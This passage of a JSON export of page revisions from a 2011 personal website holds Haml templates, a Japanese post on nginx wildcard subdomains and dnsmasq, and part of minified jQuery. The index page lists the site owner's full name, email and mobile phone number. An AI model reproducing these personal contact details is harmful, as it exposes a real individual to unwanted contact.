=\u003e \"/feed\"} feed\r\n -posts = []\r\n -Page.order(\"created_at desc\").limit(60).each do |p|\r\n -p p\r\n -flag = true\r\n -posts.each do |t|\r\n - flag = false if t.name == p.name\r\n - posts \u003c\u003c p if flag\r\n %p \r\n -posts.each do |post|\r\n %a{href: \"/#{post.name}\"}=h post.name\r\n \r\n","created_at":"2011-09-19T13:53:08.000Z","updated_at":"2011-09-19T13:53:08.000Z"},{"id":1874,"name":"recent","body":"\r\nhaml recent update\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=ssig33.com - recent update\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all\r\n %h1 ssig33.com\r\n %h2 recent update\r\n %p\r\n %a{:href =\u003e \"/feed\"} feed\r\n -posts = []\r\n -Page.order(\"created_at desc\").limit(60).each do |p|\r\n -flag = true\r\n -posts.each do |t|\r\n - flag = false if t.name == p.name\r\n - posts \u003c\u003c p if flag\r\n -p posts\r\n %p \r\n -posts.each do |post|\r\n %a{href: \"/#{post.name}\"}=h post.name\r\n \r\n","created_at":"2011-09-19T13:54:26.000Z","updated_at":"2011-09-19T13:54:26.000Z"},{"id":1875,"name":"recent","body":"haml recent update\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=ssig33.com - recent update\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all\r\n %h1 ssig33.com\r\n %h2 recent update\r\n %p\r\n %a{:href =\u003e \"/feed\"} feed\r\n -posts = []\r\n -Page.order(\"created_at desc\").limit(60).each do |p|\r\n -flag = true\r\n -posts.each do |t|\r\n - flag = false if t.name == p.name\r\n - posts \u003c\u003c p if flag\r\n -p posts\r\n %p \r\n -posts.each do |post|\r\n %a{href: \"/#{post.name}\"}=h post.name\r\n \r\n","created_at":"2011-09-19T13:54:34.000Z","updated_at":"2011-09-19T13:54:34.000Z"},{"id":1876,"name":"recent","body":"haml recent update\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - recent update\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all\r\n %h1 ssig33.com\r\n %h2 recent update\r\n %p\r\n %a{:href =\u003e \"/feed\"} feed\r\n -posts = []\r\n -Page.order(\"created_at desc\").limit(60).each do |p|\r\n -flag = true\r\n -posts.each do |t|\r\n - flag = false if t.name == p.name\r\n - posts \u003c\u003c p if flag\r\n -p posts\r\n %p \r\n -posts.each do |post|\r\n %a{href: \"/#{post.name}\"}=h post.name\r\n \r\n","created_at":"2011-09-19T13:55:18.000Z","updated_at":"2011-09-19T13:55:18.000Z"},{"id":1877,"name":"recent","body":"haml recent update\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - recent update\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all\r\n %h1 ssig33.com\r\n %h2 recent update\r\n %p\r\n %a{:href =\u003e \"/feed\"} feed\r\n -posts = []\r\n -Page.order(\"created_at desc\").limit(60).each do |p|\r\n -flag = true\r\n -posts.each do |t|\r\n - flag = false if t.name == p.name\r\n - posts \u003c\u003c p if flag\r\n -p posts\r\n %p \r\n -posts.each do |post|\r\n %a{href: \"/#{post.name}\"}=post.name","created_at":"2011-09-19T13:55:33.000Z","updated_at":"2011-09-19T13:55:33.000Z"},{"id":1878,"name":"recent","body":"haml recent update\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - recent update\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all\r\n %h1 ssig33.com\r\n %h2 recent update\r\n %p\r\n %a{:href =\u003e \"/feed\"} feed\r\n -posts = []\r\n -Page.order(\"created_at desc\").limit(60).each do |p|\r\n -flag = true\r\n -posts.each do |t|\r\n - flag = false if t.name == p.name\r\n - posts \u003c\u003c p if flag\r\n -p posts\r\n %p \r\n -posts.each do |post|\r\n %a{href: \"/#{post.name}\"}=post.name\r\n %br","created_at":"2011-09-19T13:55:47.000Z","updated_at":"2011-09-19T13:55:47.000Z"},{"id":1879,"name":"recent","body":"haml recent update\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - recent update\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all\r\n %h1 ssig33.com\r\n %h2 recent update\r\n %p\r\n %a{:href =\u003e \"/feed\"} feed\r\n -posts = []\r\n -Page.order(\"created_at desc\").limit(60).each do |p|\r\n -flag = true\r\n -posts.each do |t|\r\n - flag = false if t.name == p.name\r\n - posts \u003c\u003c p if flag\r\n -p posts\r\n %p \r\n -posts.each do |post|\r\n %a{href: \"/#{post.name}\"}=post.name\r\n %br\r\n %p\r\n %a{href: \"/\"} Go to Top Page","created_at":"2011-09-19T13:56:21.000Z","updated_at":"2011-09-19T13:56:21.000Z"},{"id":1880,"name":"recent","body":"haml recent update\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - recent update\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all\r\n %h2 ssig33.com - recent update\r\n %p\r\n %a{:href =\u003e \"/feed\"} feed\r\n -posts = []\r\n -Page.order(\"created_at desc\").limit(60).each do |p|\r\n -flag = true\r\n -posts.each do |t|\r\n - flag = false if t.name == p.name\r\n - posts \u003c\u003c p if flag\r\n -p posts\r\n %p \r\n -posts.each do |post|\r\n %a{href: \"/#{post.name}\"}=post.name\r\n %br\r\n %p\r\n %a{href: \"/\"} Go to Top Page","created_at":"2011-09-19T13:56:50.000Z","updated_at":"2011-09-19T13:56:50.000Z"},{"id":1881,"name":"index","body":"#ssig33.com\r\n\r\n## Contents \u0026 Service\r\n[Text](http://text.ssig33.com) \r\n\r\n[Activity](/activity)\r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n[Contact](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n### Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- Japanese\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n- English(a bit)","created_at":"2011-09-19T13:57:25.000Z","updated_at":"2011-09-19T13:57:25.000Z"},{"id":1882,"name":"recent","body":"haml recent update\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - recent update\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all\r\n %h2 ssig33.com - recent update\r\n %p\r\n %a{:href =\u003e \"/feed\"} feed\r\n -posts = []\r\n -Page.order(\"created_at desc\").limit(60).each do |p|\r\n -flag = true\r\n -posts.each do |t|\r\n - flag = false if t.name == p.name\r\n - posts \u003c\u003c p if flag\r\n %p \r\n -posts.each do |post|\r\n %a{href: \"/#{post.name}\"}=post.name\r\n %br\r\n %p\r\n %a{href: \"/\"} Go to Top Page","created_at":"2011-09-19T13:58:14.000Z","updated_at":"2011-09-19T13:58:14.000Z"},{"id":1883,"name":"サブドメインを沢山使いたい","body":"[トップに戻る](/)\r\n## サブドメインを沢山使いたい\r\nhttp://kure.ssig33.com http://darui.ssig33.com http://nemui.ssig33.com みたいのを沢山作ってコンテンツをそこに置きたい。めんどくさいことはしたくなくて、設定ファイルをいじるのは最初の一回だけにしたい。コンテンツの更新はブラウザ経由でやりたい。置きたいコンテンツは精々静的な HTML 一枚。\r\n\r\nそんな需要が僕にはあったので解決してみた。\r\n\r\nもともと ssig33.com は Sinatra で作ったアプリで、その前段に nginx がいるという構成になっていた。 nginx の設定は\r\n\r\n```\r\nupstream ssig33.com{\r\n server localhost:9233;\r\n}\r\nserver {\r\n listen 80;\r\n root /home/ssig33/dev/site/public;\r\n index index.html index.htm;\r\n\r\n server_name ssig33.com;\r\n\r\n location / {\r\n proxy_pass http://ssig33.com/;\r\n }\r\n```\r\n\r\nこんな感じだった。というわけでいろいろ調べた結果これ\r\n\r\n```\r\nserver {\r\n server_name ~^(?\u003cdomain\u003e.+)\\.ssig33\\.com$;\r\n location ~^(?\u003cpass\u003e.+)$ {\r\n proxy_pass http://ssig33.com/$domain.ssig33.com$pass;\r\n }\r\n}\r\n```\r\n\r\nを加えた。そうすると http://hoge.ssig33.com/huga にアクセスした時に http://ssig33.com/hoge.ssig33.com/huga が表示される。 http://ssig33.com のデータは Web から編集出来るので気楽にサブドメインにコンテンツを配置出来るようになった。面白い。\r\n\r\nnginx では sever_name とかはちゃんと書いた奴 -\u003e 正規表現で書いた奴という順序で評価される(っぽい)ので、 text.ssig33.com とかそういう既存の奴の邪魔もしない。\r\n\r\nところで ssig33.com では自宅サーバーで動いていて、自宅内ネットワークでは dnsmasq を使って名前解決していたのだけど、これまで通り hosts ファイルをばらまくだけではどうにもならない。でもちゃんと設定はあって、 dnsmasq.conf に \r\n\r\n```\r\naddress=/.ssig33.com/192.168.1.107\r\n```\r\n\r\nとか書いとくと意図した通りに動く(っぽい)。","created_at":"2011-09-19T13:59:33.000Z","updated_at":"2011-09-19T13:59:33.000Z"},{"id":1884,"name":"layout","body":"layout レイアウト\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all~@page.html(request)\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n\u003c!-- layout from Database --\u003e","created_at":"2011-09-19T14:01:44.000Z","updated_at":"2011-09-19T14:01:44.000Z"},{"id":1885,"name":"jquery.js","body":"raw jquery.js\r\n/*! jQuery v1.6.4 http://jquery.com/ | http://jquery.org/license */\r\n(function(a,b){function cu(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cr(a){if(!cg[a]){var b=c.body,d=f(\"\u003c\"+a+\"\u003e\").appendTo(b),e=d.css(\"display\");d.remove();if(e===\"none\"||e===\"\"){ch||(ch=c.createElement(\"iframe\"),ch.frameBorder=ch.width=ch.height=0),b.appendChild(ch);if(!ci||!ch.createElement)ci=(ch.contentWindow||ch.contentDocument).document,ci.write((c.compatMode===\"CSS1Compat\"?\"\u003c!doctype html\u003e\":\"\")+\"\u003chtml\u003e\u003cbody\u003e\"),ci.close();d=ci.createElement(a),ci.body.appendChild(d),e=f.css(d,\"display\"),b.removeChild(ch)}cg[a]=e}return cg[a]}function cq(a,b){var c={};f.each(cm.concat.apply([],cm.slice(0,b)),function(){c[this]=a});return c}function cp(){cn=b}function co(){setTimeout(cp,0);return cn=f.now()}function cf(){try{return new a.ActiveXObject(\"Microsoft.XMLHTTP\")}catch(b){}}function ce(){try{return new a.XMLHttpRequest}catch(b){}}function b$(a,c){a.dataFilter\u0026\u0026(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g\u003ci;g++){if(g===1)for(h in a.converters)typeof h==\"string\"\u0026\u0026(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k===\"*\")k=l;else if(l!==\"*\"\u0026\u0026l!==k){m=l+\" \"+k,n=e[m]||e[\"* \"+k];if(!n){p=b;for(o in e){j=o.split(\" \");if(j[0]===l||j[0]===\"*\"){p=e[j[1]+\" \"+k];if(p){o=e[o],o===!0?n=p:p===!0\u0026\u0026(n=o);break}}}}!n\u0026\u0026!p\u0026\u0026f.error(\"No conversion from \"+m.replace(\" \",\" to \")),n!==!0\u0026\u0026(c=n?n(c):p(o(c)))}}return c}function bZ(a,c,d){var e=a.contents,f=a.dataTypes,g=a.responseFields,h,i,j,k;for(i in g)i in d\u0026\u0026(c[g[i]]=d[i]);while(f[0]===\"*\")f.shift(),h===b\u0026\u0026(h=a.mimeType||c.getResponseHeader(\"content-type\"));if(h)for(i in e)if(e[i]\u0026\u0026e[i].test(h)){f.unshift(i);break}if(f[0]in d)j=f[0];else{for(i in d){if(!f[0]||a.converters[i+\" \"+f[0]]){j=i;break}k||(k=i)}j=j||k}if(j){j!==f[0]\u0026\u0026f.unshift(j);return d[j]}}function bY(a,b,c,d){if(f.isArray(b))f.each(b,function(b,e){c||bA.test(a)?d(a,e):bY(a+\"[\"+(typeof e==\"object\"||f.isArray(e)?b:\"\")+\"]\",e,c,d)});else if(!c\u0026\u0026b!=null\u0026\u0026typeof b==\"object\")for(var e in b)bY(a+\"[\"+e+\"]\",b[e],c,d);else d(a,b)}function bX(a,c){var d,e,g=f.ajaxSettings.flatOptions||{};for(d in c)c[d]!==b\u0026\u0026((g[d]?a:e||(e={}))[d]=c[d]);e\u0026\u0026f.extend(!0,a,e)}function bW(a,c,d,e,f,g){f=f||c.dataTypes[0],g=g||{},g[f]=!0;var h=a[f],i=0,j=h?h.length:0,k=a===bP,l;for(;i\u003cj\u0026\u0026(k||!l);i++)l=h[i](c,d,e),typeof l==\"string\"\u0026\u0026(!k||g[l]?l=b:(c.dataTypes.unshift(l),l=bW(a,c,d,e,l,g)));(k||!l)\u0026\u0026!g[\"*\"]\u0026\u0026(l=bW(a,c,d,e,\"*\",g));return l}function bV(a){return function(b,c){typeof b!=\"string\"\u0026\u0026(c=b,b=\"*\");if(f.isFunction(c)){var d=b.toLowerCase().split(bL),e=0,g=d.length,h,i,j;for(;e\u003cg;e++)h=d[e],j=/^\\+/.test(h),j\u0026\u0026(h=h.substr(1)||\"*\"),i=a[h]=a[h]||[],i[j?\"unshift\":\"push\"](c)}}}function by(a,b,c){var d=b===\"width\"?a.offsetWidth:a.offsetHeight,e=b===\"width\"?bt:bu;if(d\u003e0){c!==\"border\"\u0026\u0026f.each(e,function(){c||(d-=parseFloat(f.css(a,\"padding\"+this))||0),c===\"margin\"?d+=parseFloat(f.css(a,c+this))||0:d-=parseFloat(f.css(a,\"border\"+this+\"Width\"))||0});return d+\"px\"}d=bv(a,b,b);if(d\u003c0||d==null)d=a.style[b]||0;d=parseFloat(d)||0,c\u0026\u0026f.each(e,function(){d+=parseFloat(f.css(a,\"padding\"+this))||0,c!==\"padding\"\u0026\u0026(d+=parseFloat(f.css(a,\"border\"+this+\"Width\"))||0),c===\"margin\"\u0026\u0026(d+=parseFloat(f.css(a,c+this))||0)});return d+\"px\"}function bl(a,b){b.src?f.ajax({url:b.src,async:!1,dataType:\"script\"}):f.globalEval((b.text||b.textContent||b.innerHTML||\"\").replace(bd,\"/*$0*/\")),b.parentNode\u0026\u0026b.parentNode.removeChild(b)}function bk(a){f.nodeName(a,\"input\")?bj(a):\"getElementsByTagName\"in a\u0026\u0026f.grep(a.getElementsByTagName(\"input\"),bj)}function bj(a){if(a.type===\"checkbox\"||a.type===\"radio\")a.defaultChecked=a.checked}function bi(a){return\"getElementsByTagName\"in a?a.getElementsByTagName(\"*\"):\"querySelectorAll\"in a?a.querySelectorAll(\"*\"):[]}function bh(a,b){var c;if(b.nodeType===1){b.clearAttributes\u0026\u0026b.clearAttributes(),b.mergeAttributes\u0026\u0026b.mergeAttributes(a),c=b.nodeName.toLowerCase();if(c===\"object\")b.outerHTML=a.outerHTML;else if(c!==\"input\"||a.type!==\"checkbox\"\u0026\u0026a.type!==\"radio\"){if(c===\"option\")b.selected=a.defaultSelected;else if(c===\"input\"||c===\"textarea\")b.defaultValue=a.defaultValue}else a.checked\u0026\u0026(b.defaultChecked=b.checked=a.checked),b.value!==a.value\u0026\u0026(b.value=a.value);b.removeAttribute(f.expando)}}function bg(a,b){if(b.nodeType===1\u0026\u0026!!f.hasData(a)){var c=f.expando,d=f.data(a),e=f.data(b,d);if(d=d[c]){var g=d.events;e=e[c]=f.extend({},d);if(g){delete e.handle,e.events={};for(var h in g)for(var i=0,j=g[h].length;i\u003cj;i++)f.event.add(b,h+(g[h][i].namespace?\".\":\"\")+g[h][i].namespace,g[h][i],g[h][i].data)}}}}function bf(a,b){return f.nodeName(a,\"table\")?a.getElementsByTagName(\"tbody\")[0]||a.appendChild(a.ownerDocument.createElement(\"tbody\")):a}function V(a,b,c){b=b||0;if(f.isFunction(b))return f.grep(a,function(a,d){var e=!!b.call(a,d,a);return e===c});if(b.nodeType)return f.grep(a,function(a,d){return a===b===c});if(typeof b==\"string\"){var d=f.grep(a,function(a){return a.nodeType===1});if(Q.test(b))return f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return f.inArray(a,b)\u003e=0===c})}function U(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function M(a,b){return(a\u0026\u0026a!==\"*\"?a+\".\":\"\")+b.replace(y,\"`\").replace(z,\"\u0026\")}function L(a){var b,c,d,e,g,h,i,j,k,l,m,n,o,p=[],q=[],r=f._data(this,\"events\");if(!(a.liveFired===this||!r||!r.live||a.target.disabled||a.button\u0026\u0026a.type===\"click\")){a.namespace\u0026\u0026(n=new RegExp(\"(^|\\\\.)\"+a.namespace.split(\".\").join(\"\\\\.(?:.*\\\\.)?\")+\"(\\\\.|$)\")),a.liveFired=this;var s=r.live.slice(0);for(i=0;i\u003cs.length;i++)g=s[i],g.origType.replace(w,\"\")===a.type?q.push(g.selector):s.splice(i--,1);e=f(a.target).closest(q,a.currentTarget);for(j=0,k=e.length;j\u003ck;j++){m=e[j];for(i=0;i\u003cs.length;i++){g=s[i];if(m.selector===g.selector\u0026\u0026(!n||n.test(g.namespace))\u0026\u0026!m.elem.disabled){h=m.elem,d=null;if(g.preType===\"mouseenter\"||g.preType===\"mouseleave\")a.type=g.preType,d=f(a.relatedTarget).closest(g.selector)[0],d\u0026\u0026f.contains(h,d)\u0026\u0026(d=h);(!d||d!==h)\u0026\u0026p.push({elem:h,handleObj:g,level:m.level})}}}for(j=0,k=p.length;j\u003ck;j++){e=p[j];if(c\u0026\u0026e.level\u003ec)break;a.currentTarget=e.elem,a.data=e.handleObj.data,a.handleObj=e.handleObj,o=e.handleObj.origHandler.apply(e.elem,arguments);if(o===!1||a.isPropagationStopped()){c=e.level,o===!1\u0026\u0026(b=!1);if(a.isImmediatePropagationStopped())break}}return b}}function J(a,c,d){var e=f.extend({},d[0]);e.type=a,e.originalEvent={},e.liveFired=b,f.event.handle.call(c,e),e.isDefaultPrevented()\u0026\u0026d[0].preventDefault()}function D(){return!0}function C(){return!1}function m(a,c,d){var e=c+\"defer\",g=c+\"queue\",h=c+\"mark\",i=f.data(a,e,b,!0);i\u0026\u0026(d===\"queue\"||!f.data(a,g,b,!0))\u0026\u0026(d===\"mark\"||!f.data(a,h,b,!0))\u0026\u0026setTimeout(function(){!f.data(a,g,b,!0)\u0026\u0026!f.data(a,h,b,!0)\u0026\u0026(f.removeData(a,e,!0),i.resolve())},0)}function l(a){for(var b in a)if(b!==\"toJSON\")return!1;return!0}function k(a,c,d){if(d===b\u0026\u0026a.nodeType===1){var e=\"data-\"+c.replace(j,\"-$1\").toLowerCase();d=a.getAttribute(e);if(typeof d==\"string\"){try{d=d===\"true\"?!0:d===\"false\"?!1:d===\"null\"?null:f.isNaN(d)?i.test(d)?f.parseJSON(d):d:parseFloat(d)}catch(g){}f.data(a,c,d)}else d=b}return d}var c=a.document,d=a.navigator,e=a.location,f=function(){function K(){if(!e.isReady){try{c.documentElement.doScroll(\"left\")}catch(a){setTimeout(K,1);return}e.ready()}}var e=function(a,b){return new e.fn.init(a,b,h)},f=a.jQuery,g=a.$,h,i=/^(?:[^#\u003c]*(\u003c[\\w\\W]+\u003e)[^\u003e]*$|#([\\w\\-]*)$)/,j=/\\S/,k=/^\\s+/,l=/\\s+$/,m=/\\d/,n=/^\u003c(\\w+)\\s*\\/?\u003e(?:\u003c\\/\\1\u003e)?$/,o=/^[\\],:{}\\s]*$/,p=/\\\\(?:[\"\\\\\\/bfnrt]|u[0-9a-fA-F]{4})/g,q=/\"[^\"\\\\\\n\\r]*\"|true|false|null|-?\\d+(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?/g,r=/(?:^|:|,)(?:\\s*\\[)+/g,s=/(webkit)[ \\/]([\\w.]+)/,t=/(opera)(?:.*version)?[ \\/]([\\w.]+)/,u=/(msie) ([\\w.]+)/,v=/(mozilla)(?:.*? rv:([\\w.]+))?/,w=/-([a-z]|[0-9])/ig,x=/^-ms-/,y=function(a,b){return(b+\"\").toUpperCase()},z=d.userAgent,A,B,C,D=Object.prototype.toString,E=Object.prototype.hasOwnProperty,F=Array.prototype.push,G=Array.prototype.slice,H=String.prototype.trim,I=Array.prototype.indexOf,J={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a===\"body\"\u0026\u0026!d\u0026\u0026c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a==\"string\"){a.charAt(0)!==\"\u003c\"||a.charAt(a.length-1)!==\"\u003e\"||a.length\u003c3?g=i.exec(a):g=[null,a,null];if(g\u0026\u0026(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=n.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h\u0026\u0026h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b\u0026\u0026(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:\"\",jquery:\"1.6.4\",length:0,size:function(){return this.length},toArray:function(){return G.call(this,0)},get:function(a){return a==null?this.toArray():a\u003c0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?F.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b===\"find\"?d.selector=this.selector+(this.selector?\" \":\"\")+c:b\u0026\u0026(d.selector=this.selector+\".\"+b+\"(\"+c+\")\");return d},each:function(a,b){return 